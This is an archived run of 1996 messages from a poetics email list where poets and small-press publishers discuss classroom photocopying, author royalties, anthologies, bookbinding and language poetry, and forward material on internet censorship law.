Finally I have no argument against professors or creative writing teachers creating their own versions of literary experience and attempting to establish their own canons. That can be healthy. What does disturb me is that they don't pay the authors for doing that. Sun & Moon pays royalties to its own authors for sale of their books and pays for the rights to reprint other poets. So the authors are receiving something for their writing. By xeroxing the author is completely left out of the process -- and, in my experience, the books are often ignored in the classroom (which is one the major sources of potential revenue for the author and a press like Sun & Moon). It's certainly true that an enlightened student or two may eventually go out and purchase the book, but the other 10

or 20 students in that classroom, not so enlightened, will have no idea of what the experience of the book is about.

I might add one final note: the books I bought for my courses (and in my undergraduate days we were expected to read about 15-30 books in each literature course) began a home library that has served me as a resource ever since. Had my teachers xeroxed all my reading material, I believe I'd not have the same relationship with literature itself. And certainly I would not been encouraged to spend my last dime each month on books.

Well, I think I've had my say on this. I just thought it is important than a publisher speak on this subject as well. While it's certainly true that poets don't receive much money from their writing, anthology appearances and book royalties do result in some payment. And even if this is symbolic--and it's often more than that--it's crucial if we are to recognize writng as a true occupation in our society.

Douglas Messerli

==========
At 09:04 AM 2/16/96 -0500, you wrote:
>douglas--okay. We've had different experiences, that's all. Maybe my profs
>are particularly conscientious (George Mason U. & Oberlin--you heard it here
>first). Maybe the profs who've requested xeroxes from Sun & Moon texts
>weren't writers themselves. Clearly (I think), writers are going to be
>concerned with preserving the idea of the book--I believe mine have been.
>
>I certainly do think that xeroxing can become an abused privilege---like
>preying on texts (and writers, and anthologizers). On the other hand, the
>power of the anthologizer is something I don't mind calling into question.
>Who goes in, and what of theirs goes in. When only a few anthologies
>dealing with a certain school or genre are available, the anthologizer has
>immense responsibility & power. Who decides what "postmodern poetry,"
>"poetry of witness," "queer poetry" looks like?---especially since
>anthologies are often used in undergrad situations where the folks reading
>them aren't necessarily interested in poetry & will look no further than the
>anthology. At best, xeroxing & distributing your own packets is a stance
>against canonization & systematic exclusion.
>
>Hoping for the best,
>emily
>
>
>

>
>

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474. **Douglas Messerli**
Re: Currency and Postage
Fri 16 Feb 1996

Congratulations James,

That was a great offer and a good promotional tactic.

Douglas

==========

At 10:21 AM 2/16/96 -0500, you wrote:
>The Poetics response in just one day has been fantastic. Many of you have
>already ordered and as I sit typing here, poets are sending messages to
>request books. I will give you a report in a couple of weeks so you can
>all know what has been ordered.
>
>And of course new special offers will be showing up from time to time.
>
>Several questions have arisen which I did not deal with in the original
>offer. Here are the answers:
>
>1. Yes, please send all orders to: [redacted]
>2. Overseas orders will be charged $6 / book.
>3. Overseas orders may use INternational Money Order or check, BUT
>4. All orders must be paid in US dollars ($US).
>
>Obviously there may still be more issues outstanding; just let me know.
>
>And keep those backchannel messages coming.
>
>James Sherry
>

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475. Robert Drake
Re: roof books, copies, internet etc...
Fri 16 Feb 1996

> *... in fact i've asked my students this semester to each go out and buy one small press book of poetry (this in addition to the norton and two other books)...*

tha's a tremendous idea joe, hope others might also. do you give a list to choose frm? do they report back to you (or better, to the class) on their individual selctions? wd be interested fr a report on what they choose... & next time, you might consider adding one small press magazine aswellas a book...

fr what it's worth, yr welcome to photocopy any single issue of TRR in its entire for yr class; easier still, i'd donate copies fr the price of postage (abt $5/20 copies) fr free distribute to students... which would go fr anyone else on th list, as long as resources hold up (backchannel requests, please)... get the words out!

allbest
luigi

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476. Steve Carll
Rewrite that bod
Fri 16 Feb 1996

At 03:13 PM 2/15/96 EST, Henry Gould wrote:

> *Enjoyed the Deleuze/Guattari quote, but I thought their emphasis on the artist as inspired destructor of conventions sounds a little old hat or over-emphasized in last 100 yrs. I would like to hear more about artist as absorber/responder/synthesizer; artist as gifted slowpoke rather than swift avantgardian nemesis avatar blah blah...*

I'm not sure how one can escape from an old hat if one is a slowpoke, but I see your point. This may be my own extrapolation, because D & G leave it unspoken, but I don't see a necessary contradiction between these two views of the artist. It's just that absorbing/responding to/synthesizing conventions and their contents becomes after a certain point a) boring and b)useless, and one wants something else to work with. The only place to go for this is the chaos at the edges of thought, hence artist as destroyer (or, perhaps more accurately, traveller out) of convention. They're two very different modes, but not mutually exclusive by any means, and in fact I wonder how long the artist can *sustain* eir fruitful working relation to the world if one or the other mode is neglected.

Steve

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477. Robert Drake
Re: Bloody Staples
Fri 16 Feb 1996

jackson m

for relatively small editions, various forms of japanese bindings might be a good alternative. takes a bit longer than handstitching a pamphlet bound book, but still feasable fr runs a couple hundred. traditional japanese bindings don't have a spine like conventional western books, but you can add an outside cover w/ titled spine if you want. kojiro ikegami's _Japanese Book-binding_ (weatherhill 1986) is one of the best introductions.

asever
luigi-bob drake
taproot reviews/burning press/etc...

↑ Index

478. Henry Gould
Re: re re rewriting that bod
Fri 16 Feb 1996

Point well taken, Steve. Blasing (yes, that darn BLASING again!) in her first bk "American Poetry" has an interesting section tying together Poe/Eliot/Plath under the sign of metonymy : she finds in all three an overwhelming alienation from lost past lived experience; a sense of tradition as imposing, foreign burden; and a sense of language as a suicidal or proto-suicidal dead end - the word as emblem, reductive metonymy of experience. Thus their ironic, sing-song formalism, self-defeating. I bring this up as example of approach in which the two poles of art endeavor (synthesis/iconoclasm) which you mentioned are both combined and incredibly conflicted.

About slowpokes: they have their role to play, ladies & gentlemen. Look at Cezanne. The slow-absorbers, the retarded ones, end up as the overturners. - Henry Gould

↑ Index

479. Jerry Rothenberg
Re: Bloody Staples
Fri 16 Feb 1996

I want to add a fourth & a fifth cheer for Joel Kuszai and a warning that if we forget the value of impermanence and "poor art" etc. we will be sacrificing one

of the great weapons given us to thwart a marketplace mentality that would finally deny us free means to what we have to say. The tradition represented here goes back to magnificent poor works of Russian Futurists and others using cheap paper and rubber stamps and hand scrawls and carries on thru American mimeo revolutions and Soviet typewritten samizdat work. These works are beautiful for themselves and for the hope that they hold out to all of us, that there are ways still to escape the money bind. It is embedded also, deeply embedded in the work & prophecy of Schwitters, say, whom all of us love dearly. I have thrilled to rich & lavish printings also, but I'd swear too that the real work is elsewhere.

"Properly, wqe should read for power. Man reading shd. be man intensely alive. The book shd. be a ball of light in one's hands." (E.P., Guide to Kulchur)

Jerome Rothenberg

↑ Index

480. **Emily Lloyd**
anths, etc. The End.
Fri 16 Feb 1996

Douglas, I agree w/your points & I agree w/my points & I agree w/Chris Stroffolino's points & I agree w/Sheila's & w/ Eryque's. Which is the most frustrating & fun thing about this list. Finis.

e

PS--I've seen so many different excerpts from "Lifting Belly" in various anths. and prof-packets that I might, but I'm not sure, have the whole piece if I knew what order to put it in. But never the thing in its entirety in one place. Good point about Stein.

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481. **Daniel Bouchard**
Re: on condition of anonymity
Fri 16 Feb 1996

Jordan wrote:

Are there people who are excluded from the list? Are there people who have quit the list in disgust with certain
threads?

_____

I know people who have signed off the list because the concerns of many vocal (or prolific) people were not their concerns. That was their choice. I argued

with them to stay with it and simply delete the posts that do not interest them, or join in the chat and try to steer topics toward things they found worthwhile. My friend Tony Door and I have dubbed all chat-lists, not too inappropriately we think, Meat-Flap lists; the choice to tenderize, marinate, char-broil or freeze remains with each sentient individual.

Exclusion? If you have the proper technological access then you're in, right? Or did you mean some more complicated form of exclusion?

Exclude me? I said 'bless you.'

looking at a Boston white-out,

[redacted]

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482. **Joe Amato**
Re: roof books, copies, internet etc...
Fri 16 Feb 1996

---

luigi, great, let's do the $5 deal!... you want i should send you the $ first? (we can handle this backchannel, please let me know)...

yes, i'll be looking to see which books the student-writers buy... i've told them to hold off for a bit, till after we've had a chance to explore some of the various poets in the norton, and others that i bring in on the fly... i'm trying to get them each to flesh out their own aesthetics/poetics predilections... i don't have any english majors at iit, most of these folks are engineering/science majors who're bored with the humdrum, passive/receiver sorts of instruction they're regularly exposed to... i like the poetry mag. idea too... i do bring in journals i have subscriptions to and have 'em browse through... and i copy class participants on poetics posts as i can, esp. those that are descriptive in nature or point to new web sites, such as the new sun & moon site (i've set up a temporary elist for the class, and i require electronic journals once a month based on net surfing/browsing---i provide an initial list of sites, which includes epc)...

in all, i'm trying to get the class into the flow through sheer immersion, and i try to provide some guidance as things get productively messy... and b/c there's no cost entailed in net surfing (at least, if folks use the iit computers, which are finally getting up to speed wrt netscape etc.) it's easiest to get the class interested in contemporary poetry/poetics through the web, through the present-ness of online writings... i also try to indicate which bookstores in the area (incl. woodland pattern in milwaukee) have substantial poetry selections... and i'll be bringing in the spd catalog next class to discuss the current marketing/distribution system for small press work... and the possibilities of web publishing (if the class develops the critical mass, it may well collaborate

on a web site, to be linked with the humanities web site i'm currently overseeing for my dept.)...

in all, the economics of publishing is very much a part of this "workshop," if indeed it IS a workshop in any traditional sense... i'm really stressing reading and responding to reading every bit as much as 'creative writing'... b/c to nurture doing one in the absence of the other (which is what most of these folks HAVE been doing) seems to me to yield little other than aesthetic posing... albeit i like to leave room for sheer inspiration, whateverthehell that is...

anyway, hey, let's set up the trr drop!...

best,

joe

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483. Ken Edwards
Out of Everywhere
Fri 16 Feb 1996

In response to several backchannel requests: I can't take orders directly for this anthology from outside the UK, unless you're able to pay in sterling. Dollar cheques, for instance, cost me an arm & a leg to convert, and international money orders would cost you an arm & a leg.

So the answer, folks in the USA and Canada, is to order from SPD or Marginal Distribution.

Also: didn't I say? the book is published by Reality Street Editions, the press I run in conjunction with Wendy Mulford.

This foreign exchange irritation means I can't take advantage of James' Roof Books offer, either.

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484. Roland Greene
Drucker
Fri 16 Feb 1996

An essay on Drucker's _History of the/my Wor(l)d_, by Marjorie Perloff, appears in the _Harvard Library Bulletin_, new series 3, no. 2 (1992), along with several other essays related to an exhibition called "Material Poetry of the Renaissance / The Renaissance of Material Poetry."

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485. **Kevin Killian**
Re: on condition of anonymity
Fri 16 Feb 1996

At 10:33 AM 2/16/96, Jordan Davis wrote:
>Are there people who have quit the list in disgust with certain
>threads?

This is Dodie Bellamy, who reads the list but is not signed up for it (KK is), and from that borderline position I now speak.

I've talked to at least a half a dozen people who have quit the list (all of whom are more "established" writers) not in disgust exactly but because they found the level of discussion uninteresting and inane--I think the Renga saga started frustrating many people. The people I know who have quit the list have lives which allow all the intellectualy stimulation they could want. Not everyone is in that situation, and a public forum like this is vital to them--they're probably more willing to put up with any flaws they might perceive in the proceedings. I think any time you have a public forum, things do tend to slip to the lowest common denominator. (That's why I hate group process. Whenever I've been asked to serve on the board of an organization, for instance, I've said, "No, I hate group process.") Eryque Gleason recently sent me a portion of the online discussion from his undergraduate workshop with Pierre Jorris at Albany, and I found these undergraduates discussing what it means to write a manifesto much more engaging than what I read on the poetics list. But I think that's because the Albany discussion is coming out of a defined community with more of a shared project.

I don't think that intellectual stringency in and of itself is a particularly positive experience. Here in the Bay Area, in the 80s at least, the intellectual standards became so high that many people felt the humanity had dropped out of the scene. Once readings became known as "literary events," these "events" often had an aura of stress and alienation rather than communication. Things have soften greatly in San Francisco, and maybe we've lower our standards, but it feels good to go to "events" and feel some warmth.

om shanti

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486. **Chris Stroffolino**
Re: (C) up for grabs
Fri 16 Feb 1996

Well, I've just read Doug Messerli's note---
and though i haven't counted the votes yet

(so far Bouchard--against; Lloyd and Alexander kinda for)
let me say that dear DOUG I DID once use YOUR anthology for a class
and found it limiting as any other anthology.
When you say
"many academics use the xeroix to give a "sample"----
well, we could equally say WE DISAGREE WITH THE POEMS YOU CHOSE
TO CALL REPRESENTATIVE.....
not to mention the poets.....
not that i want to stress division, I'm just trying to open
things up----
and I do think as a teacher one should teach poems one is
MOVED to teach and perhaps then CHARLES ALEXANDER is right--
that more books will be bought because of it....
(actually, It may have been soeone else, not charles,
who said that---sorry wading through 76 messages)....
chris stroffolino
"who put these fingerprints on my imagination"--elvis costello

↑ Index

487. **Chris Stroffolino**
Re: (C) up for grabs
Fri 16 Feb 1996

Dear Douglass (again): At the risk of still coming off GLIB (I resemble that!) let me just say that though it WAS a useful and valuable experience teaching from your anthology, I also realize that in the course of a semester undergraduate introduction to poetry course that ultimately less than 10% of the PAGE COUNT of the book was utilized in the class (and granted students may do "further reading" outside of the class; but many students simply sold the books used back to the bookstore)-- The point I'm trying to make (and maybe this relates to JONATHON LEVIN's "poetry and the cirriculum" panel) is that when I teach the dense and complex work in avant-garde (and even in some mainstream) anthologies, I tend to want to focus on DEPTH rather than BREADTH.... In other words, we spent two hours on ONE WIENERS poem in the anthology-- at least 4 hours on ONE ASHBERY poem in the anthology.... a whole week on Harryman; another whole week on spicer.... etc. etc.----this may seem like piecemail reading according to your philosophy--and I certainly respect that philosophy, but I also respectfully dissent from it.....love, chris s

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488. **Kit Robinson**
Re: ROOF voyeurism
Fri 16 Feb 1996

Ron,

As Peter Weller as Wm. S. Burroughs
in Cronenberg's Naked Lunch said to
Ginsberg & Kerouac, "You boys are
patronizing me but I don't mind because
you're so sweet to me. . ."

Kit

↑ Index

489. **Rod Smith**
Re: re re rewriting that Blasing
Fri 16 Feb 1996

A book to read re Blasing is _The Grounding of American Poetry_ by Stephen Fredman, deals with Black Mountain re the Transcendentalists & shows ways in which "tradition" can be individually invented and generative. I.e. "take what you need and leave the rest." Some excellent readings of Olson & Duncan there. As to why I'm always dis-recommending Blasing _Cultural Capital_ by John Guillory (as well as the Rasula) is where to start I think. Geeze, I know too much about this stuff for somebody not in ackademe. (not that I know all that much ;) --Rod PS-- The Fredman is Cambridge hc only '93 or '94 around $45 (ouch). Cultural Capital tho is U. Chicago pb.

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490. **Chris Stroffolino**
Re: re re rewriting that Blasing
Fri 16 Feb 1996

Dear Rod (Smith)----
but they never should have taken the very best.....cs

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491. Daniel Bouchard
Re: (C) up for grabs
Fri 16 Feb 1996

> and though i haven't counted the votes yet
> (so far Bouchard--against; Lloyd and Alexander kinda for)

_____

"Against" what? Photocopy places? The only poems of mine ever printed were printed at Kinko's. I'm all for 'em.

However, if I signed a contract with a publisher and my income was dependent on royalties that were largely derived from custom publishing and photocopy reproductions of my work (I'm not thinking exclusively of poets here) then I would be quite upset that someone sought to make money from my work without sharing the profits with me.

If you photocopy poems for the classroom that were printed with a small press, then maybe everyone could benefit. Students read poems, press & poet(s) get exposure, etc. If you photocopy large portions of say, a chemistry text written for classroom use and reduce a significant amount of sales from a publisher, then you are taking bread from a writer's mouth, or more likely, an extra condo on the beach from a professor's assets.

Either way, as someone pointed out earlier, "that doesn't change the fact that I still don't have a car." (Bueller.)

If I don't log in again by Wednesday, please send a Saint Bernard rescue dog to Boston,

[redacted]

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492. Jordan Davis
as one person who talks a lot
Fri 16 Feb 1996

Thinking about Jeff Hansen's request for a bibliography of Ron Silliman's work.. I mean for a discussion of eroticism and L poetry, it occurs to me that the discussion of L poetry among L-influenced writers (and L-poets themselves) usually centers (yes, centers) around perceived deficiencies in the L-program. L-poets don't do the quotidian, L-poets aren't erotic, L-poets don't have subject matter... You know the tone. And it's a fine tone to take, I might add, except that it's rhapsodizing on the theme of critique instead of analyzing what's there. That is, it's the strategy that the L-poets are best prepared to repel. Or, as Ron Silliman once said, "What is a positive definition." I'd like to see an assessment

for 1996 of what the proficiencies of L-poetry are, and what we can expect in the next four years from L-poets and their happy progeny, the M-poets. This is not a challenge, or a sneaky attempt to flush the L-poets out where we can see them, just one person who types maybe too much trying to make it up to people who listen.

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493. **Steve Carll**
Re: re re rewriting that bod
Fri 16 Feb 1996

At 01:15 PM 2/16/96 EST, Henry Gould wrote:
> About slowpokes: they have their role to play, ladies & gentlemen.
>Look at Cezanne. The slow-absorbers, the retarded ones, end up
>as the overturners.

I wasn't trying to dismiss the slowpokes. I was responding to your use of the phrase "old hat", which I take to mean "out of fashion" just as "avant-garde" carries a meaning (sometimes the only meaning intended) "soon to be in fashion." My point was, if we look at it from the standpoint of fashion, the slowpokes are just as susceptible to becoming old hat. Which isn't really interesting. Which is why I was glad you rephrased and said "over-emphasized"--much more interesting.

Good examples of the conflict the position I was referring to can put one in--Poe, Eliot, Plath. I tend to agree.

Steve

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494. **Robert Kelly**
Re: Out of Everywhere
Fri 16 Feb 1996

Maybe it is time for poets to start some intelligent transvaluations, and protect the already exiguous (or scantly existent) readership we have from the profiteering of the foreign exchanges.

Internet itself may soon be the answer, the currencyless transaction of texts from land to land.

But in the meantime, we should steal a march on those Maastricht lads and their ECUs and so forth, and establish, herewith, a Universal Poetry Unit, good

for any small press book published in the world. Or such books to be priced in units of such a 'currency'

How about calling it a SAPPHO, for Sane Anarchic Planetary Poetry Habilitating Opportunity?

Live forever!

Robert

On Fri, 16 Feb 1996, Ken Edwards wrote:

> *In response to several backchannel requests: I can't take orders directly for this anthology from outside the UK, unless you're able to pay in sterling. Dollar cheques, for instance, cost me an arm & a leg to convert, and international money orders would cost you an arm & a leg.*
>
> *So the answer, folks in the USA and Canada, is to order from SPD or Marginal Distribution.*
>
> *Also: didn't I say? the book is published by Reality Street Editions, the press I run in conjunction with Wendy Mulford.*
>
> *This foreign exchange irritation means I can't take advantage of James' Roof Books offer, either.*

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495. Henry Gould
Re: the sappho
Fri 16 Feb 1996

I think Wallace Stevens' wife was the model on the old U.S. dime. Maybe we can just use those for the "Sappho"? Maybe Ez's dad can help get them back in circulation?[another backward glance from yo truly] and speaking of "I talk too much", Jordan Davis, excuse me, but... what's an M-poet? Humbly agreeing with you [as one of the l-poetry critical carper newcomers coming on mouth gun-blasing] & your last posting. and speaking of xerox copies, as TS Eliot wrote, "mediocre artists imitate; great artists photocopy". Stein then retorted in her inimininimininimininimitable way: "staple staple staple staple staple." and speaking of books, as one salesman to another: "Ya gotta gladhand, or you ain't gonna make ya quota." - Henry Gould

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496. **ryan johnson**
Re: In court today
Fri 16 Feb 1996

On Thu, 15 Feb 1996, Daniel Bouchard wrote:

Dearest All,
Regarding the "a" word, in my email to our ever-more-disappointing president, I chose to use and discuss the word abortion at leangth, and though I get the humor of you refernece here, maybe our best form of protest is to actively counteract such ludicrous policies, no?
Say it a lot, write it a lot, discuss it a lot. Go to bat.--Ryan

> *From the today's BOSTON GLOBE, J.W. Carney, the defense attorney for John Salvi:*
>
> *"We represent the man who shot and killed Lee Ann Nichols and who shot and killed Shannon Lowney. The question you have to focus on in this trial is not what happened and not by whom did it happen, but why did it happen?"*
>
> *While defending a sane man who killed two women in cold blood and wounded five other people, Carney has the disadvantage of 1) not being able to speak in clear sentences, and 2) not being able to discuss or read about the context of the case on the internet because it contains the "A" word.*
>
> ** The former sentence is mine, not the GLOBE'S.*
>
> [redacted]

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497. **ryan johnson**
Re: Important + Ridiculous [abortion]
Fri 16 Feb 1996

On Thu, 15 Feb 1996, mikl-em wrote:

Thanx, Todd, for the update--it is marginally encouraging. Everyone can now ignore my preceding "radical" encouragement (in another email). Or not. Ryan

> *dear all,*
>
> *here is some information that I had been forwarded about the abortion-com restrictions. While certainly any move in the direction that the bill intends toward is frightening, this info shows that precedents, hopefully, will prevent the new legislation from actually being enforced, [though e-mailling the whitehouse is probably still a*

very good idea] but I'll let you read for yourself...

--Todd Lappin-->.....
From [redacted] Fri Feb 2 16:41:32 1996
Date: Fri, 2 Feb 1996 16:41:30 -0800 (PST)
To: [redacted]
From: [redacted] (--Todd Lappin-->)
Subject: Abortion Restriction Research

Here's what I've found out about the limitations on the dissemination of abortion materials contained within the telecom reform bill:

(The amended text of the Telecom Bill follows below, along with U.S.C. 18, Section 1462.)

Basically we're talking about a provision that extends a section of the US Code (The Comstock Act) prohibiting certain kinds of "obscene" speech to include "interactive computer services."

Schroeder's office ([redacted]) faxed me their position... they say that the changes "will criminalize a wide array of public health information relating to abortion, including discussion of RU-486 on the Internet." Perhaps, but...

Sam Stratman from Rep. Hyde's office ([redacted]) insists subsection (c) of Section 1462 has already been invalidated by the courts (although it remains on the books), so the extension of 1462 to include "interactive computer services" would have no bearing on abortion-related materials.

According to the Center for Reproductive Law & Policy ([redacted]), the last time ANY court has ruled on subsection (c) was in 1919... long before Roe v. Wade. They say the statute remains on the books, although it has long gone unenforced.

Steven Lieberman from the NY State Bar clarified things even further. Lieberman says that the prohibitions in subsection (c) against the dissemination of information about abortion were invalidated by the Supreme Court in Bigelow v. Virginia in 1975. (This was a case concerning the availablity of out-of-state abortion materials in the state of Virginia.) As for the prohibitions against any "drug, medicine, article, or thing designed, adapted, or intended for producing abortion"... these were invalidated by Roe v. Wade.

So, as Lieberman summarized the situation, "A prosecution under subsection (c) of Section 1462 would be doomed from the outset." Nevertheless, from a strictly formal standpoint, it appears that the prohibitions on abortion information are indeed in place... even if they are toothless.

--Todd Lappin-->
WIRED Magazine

Sec. 507 of the Telecom Bill Ammends Section 1462 of title 18 of the U.S. Code (Chapter 71), in ways which may make sending the following over the Internet illegal:

o any text, graphic, or sound that is lewd, lascivious, or filthy

o any information telling about how to obtain or make abortions and drugs, or obtaining or making anything that is for indecent or immoral use

Here is Section 1462 as Ammended:

(Telecom bill chnages in "<" and ">"):

Section 1462. Importation or transportation of obscene matters

Whoever brings into the United States, or any place subject to the jurisdiction thereof, or knowingly uses any express company or other common carrier <or interactive computer service (as defined in section 230(e)(2) of the Communications Act of 1934)>, for carriage in interstate or foreign commerce -

(a) any obscene, lewd, lascivious, or filthy book, pamphlet, picture, motion-picture film, paper, letter, writing, print, or other matter of indecent character; or
(b) any obscene, lewd, lascivious, or filthy phonograph recording, electrical transcription, or other article or thing capable of producing sound; or
(c) any drug, medicine, article, or thing designed, adapted, or intended for producing abortion, or for any indecent or immoral use; or any written or printed card, letter, circular, book, pamphlet, advertisement, or notice of any kind giving information, directly or indirectly, where, how, or of whom, or by what means any of such mentioned articles, matters, or things may be obtained or made; or Whoever knowingly takes <or receives>, from such express company or other common carrier <or interactive computer service (as defined in section 230(e)(2) of the Communications Act of 1934)> any matter or thing the carriage <or importation> of which is herein made unlawful -

Shall be fined not more than $5,000 or imprisoned not more than five years, or both, for the first such offense and shall be fined not more than $10,000 or imprisoned not more than ten years, or both, for each such offense thereafter.

Here is the text which addes the interactive computer service part in the Telecom Bill:

SEC. 507. CLARIFICATION OF CURRENT LAWS REGARDING COMMUNICATION OF OBSCENE MATERIALS THROUGH THE USE OF COMPUTERS.
(a) Importation or Transportation.--Section 1462 of title 18, United States Code, is amended--

(1) in the first undesignated paragraph, by inserting ``or interactive computer service (as defined in section 230(e)(2) of the Communications Act of 1934)'' after ``carrier''; and

(2) in the second undesignated paragraph--
(A) by inserting ``or receives,'' after ``takes'';
(B) by inserting ``or interactive computer service (as defined in section 230(e)(2) of the Communications Act of 1934)'' after ``common carrier''; and
(C) by inserting ``or importation'' after ``carriage''.

Media Notes:

USAToday 02/01/96 - 07:37 PM ET
http://www.usatoday.com/news/washdc/ncs16.htm

Telecommunications deregulation breaks down electronic walls

"At one point, the debate veered off on abortion.

Seeing a ''high-tech gag rule,'' Rep. Nita Lowey, D-N.Y., joined by Pat Schroeder, D-Colo., and several other women lawmakers, asserted the anti-pornography provisions would outlaw discussions about abortion over the Internet, the global computer network.

Rep Henry Hyde, R-Ill., a leading abortion foe, assured members that nothing in the bill suggested any restrictions on discussions about abortion."

Well, Henry Hyde was right - nothing in the bill suggests restrictions on abortion discussion - the restrictions are in Title 18 of the U.S. Code, which now includes computer networks.

Thanks to the Cornell Law School Legal Information Institute

> *(http://www.law.cornell.edu/) and the Alliance for Competitive Communications (http://www.bell.com/) for source text.*
>
> *-Thomas Edwards*
>
> *----------*
> *you have been reached by [redacted] [michael mcelligott*citizen*]*

↑ Index

498. **ryan johnson**
Re: Internet Censorship
Fri 16 Feb 1996

Dear Ron and all else: Yeah, the thing is snow balling in the way wrong/right direction, though I just read today that, not only is the censorship idea flying well w/ Compuserve, but a court in Philly has already dumped the anti-pornography stuff as unconstitutional (or something to that effect; our papers out here mostly suck and I was in a hurry, too). Anyway, what I did was email the pres. and my senators and all the fairly local house rep's. and let them know they should back end the whole idea of access-limitation if they're gonna do anything at all: it wouldn't be hard, I imagine, for any server company to develop some simple technology to allow INDIVICUAL USERS the ability to screen out certain sites, etc. This would still allow people to choose for themselves, though of course that's exactly what the AFA et al would like to avoid, or, really, prevent. Ryan

On Thu, 15 Feb 1996, Ron Silliman wrote:

> *Ryan, Daniel, & everyone*
>
> *You think the censorship provisions in the Telecommunications bill are bad enough? Here's what the far right says about it (they're taking the proto out of protofascist...)*
>
> *(By the way, the AFA does give its phone number at the end of this press release.)*
>
> *TITLE Computer pornography law not working, says afa*
> *DOCNO INW 960461769*
> *DATE 960215*
> *MESSAGE THIS IS THE FULL TEXT.*
> *CITATION PR Newswire, February 14, 1996, Wednesday*
> *SECTION Washington Dateline*
> *LENGTH 351 words*
> *ABSTRACT American Family Association issued the following:*
> *"Less than one week after the Communications Decency Act*

was signed into law by President Clinton, it is obvious that the law, designed to curb computer pornography, is not working and never will work," said Patrick Trueman, director of American Family Association governmental affairs. This fact was made clear by the action this week of CompuServe, a major access provider to the Internet, to restore access to pornographic Internet sites it had recently blocked under pressure from German prosecutors.

Access providers to the Internet have a financial incentive to provide access to pornography and they will not block such sites until they are under a legal obligation to do so, Trueman said. The Communications Decency Act included specific provisions protecting access providers from criminal liability and until those provisions are repealed, CDA will be nearly useless, he added.

WASHINGTON, Feb. 14

Trueman wrote to leaders of pro-family groups today urging them to unite behind a tough anti-pornography measure like that sponsored by Congressman Henry Hyde. The Hyde measure, which would have made anyone liable who knowingly and intentionally provides pornography to children or obscene pornography to anyone, was defeated in committee by supporters of CDA. "The reality is CDA does not work and it will never work. For its enforcement it relies on a massive number of prosecutions by the Justice Department of individuals who put illegal pornography on the Internet while the major distributors and money makers from the distribution of pornography -- the access providers -- are given a free ride," Trueman said in his letter to pro-family leaders.

Trueman urged pro-family leaders to act now to change the law.

"There is no point in waiting months or years. CompuServe has made that clear in its recent actions which demonstrate that the law has little, if any, deterrent effect," Trueman said in his letter.

CONTACT Patrick A. Trueman of the American Family Association,
[redacted]
INDEX bc DC AFA porn law Federal State Legislation
SUBJHEAD Computer; Electronics
LOCATION District of Columbia
COMPANY American Family Association AMERICAN FAMILY ASSOCIATION;
==========

↑ Index

499. **Jordan Davis**
Rather sappho
Fri 16 Feb 1996

Henry,
and this will be my last post today,
an M poet
(known before Maastricht as a G2, or Star Trek The Next Generation poet)
is a poet whose concerns are loosely affiliated with the critique of meaning
as a possibility for lyric poetry
and is called an M poet
to publicize the roughly square magazine Apex of the M
as L poets were called L poets
to publicize the magazine called L+A+N+G+U+A+G=E

Half a wallace stevens' wife, please,
Lucy Van Pelt

↑ Index

500. **Eryque Gleason**
Re: ROOF voyeurism
Fri 16 Feb 1996

---

yay ron!

I just got to Albany, and hear that one of the few bookstores for small press stuff (who at least know how to find it if they don't carry it) is succumbing to the Borders. So I'm particularly grateful for the ease of ordering from ROOF, especially at this incredible price! If anyone else wishes to support my small pocket book, i'll be sure to give what support my pocket book (and bookshelf, which gets smaller everytime i move) can handle.

eryque

↑ Index

501. **Eryque Gleason**
Re: (C) up for grabs
Fri 16 Feb 1996

---

chris s. done writ:

> *when I teach the*
> *dense and complex work in avant-garde (and even in some mainstream)*
> *anthologies, I tend to want to focus on DEPTH rather than BREADTH....*
> *In other words, we spent two hours on ONE WIENERS poem in the anthology--*
> *at least 4 hours on ONE ASHBERY poem in the anthology....*

> *a whole week on Harryman; another whole week on spicer....*
> *etc. etc.----this may seem like piecemail reading according to your philosophy--and I certainly respect that philosophy, but I also respectfully dissent from it.....love, chris s*

I usually appreciate this approach to a poetry course (or any other for that matter). It seems the result of digging DEEP(ish) into a few poets (or poems) in a semester is much greater retention, both of the work studied but whatever associative works are brought up. The engineering students that I mentioned in my earlier post about a class w/ andy levy (some of the very same people joe amato is teaching now) certainly remember more about stein and w.c. williams (tender buttons and spring and all were taught together back-to-back) and various others that were brought up than they would've if the syllabus had called for a broad overview of the period, picking one or two pieces by each.

since it's come up obliquely: a while back someone (Loss?) mentioned that some people left the list because of the deluge of renga posts. Dodie mentioned the online discussions we have in Pierre Joris' workshop.

As kind of an ice breaker, i started a renga thread, but I've started calling it "rupert" rather than renga since it's a free-form collaborative piece with no other rules. i didn't want to contribute to western bastardization of original forms any more than i had to. anyone seen the new indoor soccer league? They've got a three point arc for chrissake!

It's too dark in Albany right now to actually be whited (whitten?) out.

eryque

↑ Index

502. **mikl-em**
Re: M-poe's
Fri 16 Feb 1996

I think an Mpoet is somewhere between an Lpoet and an Npoet, unless I miss my mark, which is dandy and fine, but the question is after the Zpoets have their heyday will we finally recognize the importance of the AApoets who have been so important all along?

but, not seriously, I had the idea a while ago what with all the problems of naming our movements [what with "new critics" and "postmodern" susceptible to time factors] that literary movements should be named like the National Weather service names Hurricanes, alphabetically, one year Male, one year female--or maybe we could make all the names androgynollogous, or maybe not.

michael.

↑ Index

503. **Aldon L. Nielsen**
Re: not an order for ROOF books
Fri 16 Feb 1996

A while ago somebody said that video cassettes of _Pull My Daisy_ were being sold at the Whitney -- I've been calling around LA trying to find a copy, but nobody seems to know what I'm talking about -- Does anybody know if that tape is available through the mail??? address for same??

↑ Index

504. **Aldon L. Nielsen**
Re: BEAT BLEET
Fri 16 Feb 1996

Well,,, I've unsubbed from BEAT-L after a few weeks of unproductive lurking -- meanwhile, I'm still trying to find Ray Bremser -- Does anyone know how to reach Charles Plymell, who pub'd Bremser in the past?? Mr. Higgins, if you're still out there, I seem to remember you're having been pub'd by a Plymell press once, any idea where he is now?

"your" for "you're" above

↑ Index

505. **Henry Gould**
m-poets
Fri 16 Feb 1996

apex of the M? Magazine out of Llama, NY, right? Where dey get all de snow? Crost de river from St. Petersburg?

Jordan, thanks for correcting me about Lucy van Pelt.
I'm sure Uncle Wally kept her in furs,
even though she had to change her name.

Here's a short poem, for all you eye-blitzed people fed up with me. The key to this poem is the letter ... S.

*

Time now for the trees to shroud the earth, time
when the wind dies down,
and over the still mirror
a faded voice is whispering.

Time again to climb into the old
music-box in the forest,
and wind the iron spring--

it is letter by letter,
line by line.

*

--HG

↑ Index

506. Gabrielle Welford
Sapphos
Fri 16 Feb 1996

